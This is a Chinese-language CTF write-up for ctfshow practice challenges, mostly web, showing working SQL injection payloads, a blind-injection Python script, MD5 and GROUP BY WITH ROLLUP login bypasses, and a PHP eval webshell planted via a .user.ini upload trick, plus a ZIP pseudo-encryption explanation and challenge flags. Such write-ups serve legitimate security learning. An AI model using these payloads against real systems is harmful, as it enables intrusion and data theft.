ctfshow刷题记录

WEB

web签到题

image-20210722120341702

右键查看源代码

image-20210722120356029

base64解码

1
ctfshow{ba096492-60a2-4c59-a9be-c209e053375c}

web2

image-20210722120730569

一看是SQL注入,应该是union联合查询,先看他回显位,再一步步查他的库,表,列,字段值,这里发现回显位是第二个,所以构造payload

1
2
3
1' union select 1,(table_name),3 from information_schema.tables where table_schema=database() #   查表
1' union select 1,(column_name),3 from information_schema.columns where table_name='flag'
1' union select 1,flag,3 from flag #
1
ctfshow{ad3aed6a-eea1-469b-bdba-1d5a37290838}

web3

image-20210722121819629

提示文件包含漏洞,这里使用php伪协议配合文件包含达到命令执行

image-20210722121908861

image-20210722121925726

1
ctfshow{a8ff2953-e17f-4b9a-94d6-90d4f3de11d4}

web4

在web3的基础上ban了php://input 使用日志注入getshell

把一句话木马写到日志里

image-20210722122525126

image-20210722122703860

1
ctfshow{d2bbe355-77f9-43e2-99cc-de07ce218551}

web5

题目的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

get方法请求两个参数,v1,v2,v1要是纯字符,v2要是纯数字,并且v1和v2的md5值要一样才会输出flag

在php文件中,php在处理字符串时会把每一个以“0E”开头的哈希值都解释为0,当两个字符串的md5值都以0E开头时会被识别成科学计数法,会默认都为0,则是相同的

payload:url/?v1=QNKCDZO&v2=240610708

1
ctfshow{15ee9718-4f2e-48c2-a0c4-73ed79b57c94} 
1
2
3
原值              哈希值
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854

web6

过滤了空格,用/**/绕过

1
2
3
1'/**/union/**/select/**/1,(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#  
1'/**/union/**/select/**/1,(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
1'/**/union/**/select/**/1,flag,3/**/from/**/flag/**/#
1
ctfshow{3debd1a3-448b-4bc6-9511-61d74c6d85e4}

web7

这里是利用文章的id来进行注入,并且过滤了空格,使用/**/绕过空格

image-20210722133406104

2,3回显位

1
2
3
4
1/**/order/**/by/**/3#
1/**/union/**/select/**/1,(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
1/**/union/**/select/**/1,(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
1/**/union/**/select/**/1,flag,3/**/from/**/flag#
1
ctfshow{56b7e5aa-2dbb-43af-924a-4d02915dafb0}

image-20210722133909339

web8

(没学python,脚本我也写不来,借鉴网上大佬的脚本)

考查的是bool盲注,并且过滤了空格,双引号,构造payload进行自动化脚本注入

注意点:

①:自动化脚本的核心是payload,首先要判断字符型注入和数字型注入,然后根据正确的payload去跑代码

②:当过滤了 (0,1)时,可以使用from 0,for 1,过滤了双引号可以使用16进制进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
s=requests.session()
url='url'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

image-20210722134518799

1
ctfshow{a7cd6b7d-7796-4f2e-af6f-c0bb6be91282}

web9

尝试简单的万能密码以及过滤绕过,各种方法均没有回显。
查看网站源代码, 没有提示。
这时候猜测可能有其他页面,直接后台目录扫描,发现index.phps源代码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

密码长度要小于等于10,md5($password,true)是把password转化成原始 16 字符二进制格式

如果转换以后有 ‘or’xxxxx 到语句里就变成了

$sql=”select * from user where username=’admin’ and password=’’or’xxxx’

语句进行了闭合,其实就是拼接成了万能密码。看了大佬的博客,万能密码是ffifdyop

web10

有index.phps文件泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

过滤了很多sql注入要用的字符 如果一般情况下可以用双写绕过,但是他还对过滤以后的长度进行了判断,所以就不行

这里使用with rollup group 接下来举个例子展示一下两者的区别

只使用group by的情况下,数据按照id列进行排序

image-20210722162210641

使用group by 并且使用with rollup的情况下

image-20210722162307783

我们可以看到,使用了roll up的情况下会有一行为NULL

所以这里我们可以直接不输入密码,然后进行绕过

Payload:

1
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

payload拼接到原语句以后是

1
select * from user where username = 'admin' or 1=1 group by password with rollup #

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。

1
ctfshow{fe32b439-48d0-4187-9672-5a262cd394e7}

web11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

过滤的语句还是和web10一样,但是他这里是用session获取的password和原来的password来进行比较

相同则输出flag,我们直接在F12控制台下把session删除然后使用空密码登陆

image-20210722163841586

1
ctfshow{96d905df-2809-47dc-963d-ca423312558e} 

web12

image-20210722164233380

有一个hint:?cmd= 盲猜后端语句是eval($_GET[‘cmd’]) 输入phpinfo();

image-20210722164413619

这里我们使用glob()函数

glob — 寻找与模式匹配的文件路径 glob(““) 匹配任意文件 glob(“.txt”)匹配以txt为后缀的文件

先传入?cmd=print_r(glob(“*”)); 看他哪些文件,flag应该就在很长的那个文件中

image-20210722165338903

然后使用highlight_file()函数把他的源代码显示出来

image-20210722165512272

1
ctfshow{60a95c73-4492-4ec8-a1a7-4ddd338b0011}

web13

打开环境,有upload.php.bak备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。

1
<?php eval($_GEt['a'])?>

保存为a.txt 然后我们这里上传一个.user.ini文件,内容是auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容

所以我们可以直接使用我们的一句话了 get请求 传参看看他当前目录有啥文件

?a=print_r(glob(“*”)); 得到如下结果

Array ( [0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php [1] => a.txt [2] => index.php [3] => upload.php [4] => upload.php.bak )

然后传入?highlight_file(“903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php”)

1
ctfshow{dc79a5a9-2c8f-4c5d-8da3-d96f92b403ea}

web14

打开环境,让我们传入一个c,分别传1,2,3,到3的时候提示一个here_1s_your_f1ag.php,我们拿来访问一下

information_schema.columns,information_schema.tables均被过滤,前面有提示一个secret.php

用load_file读取一下

1
100/**/union/**/select/**/load_file('/var/www/html/secret.php')

发现php代码

1
2
3
4
5
6
7
<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')</script>

再用相同方法,读取一下 /real_flag_is_here’ 就可以得出flag

image-20210722193309208

1
ctfshow{927dba53-e865-471e-b76c-1b7bb91eb5ed}

MISC

杂项签到

img

image-20210722114922398

zip伪加密,把这里的01 02 改成 03 04即可

1
flag{79ddfa61bda03defa7bfd8d702a656e4}

知识点—ZIP伪加密

一个 ZIP 文件由三个部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。
伪加密原理:zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包。

压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
01 00:全局方式位标记(判断有无加密的重要标志)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500

压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密的重要标志,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001

压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
————————————————
以上内容转自CSDN,原文链接:https://blog.csdn.net/weixin_41687289/article/details/82695801

REVERSE

CRYPTO

PWN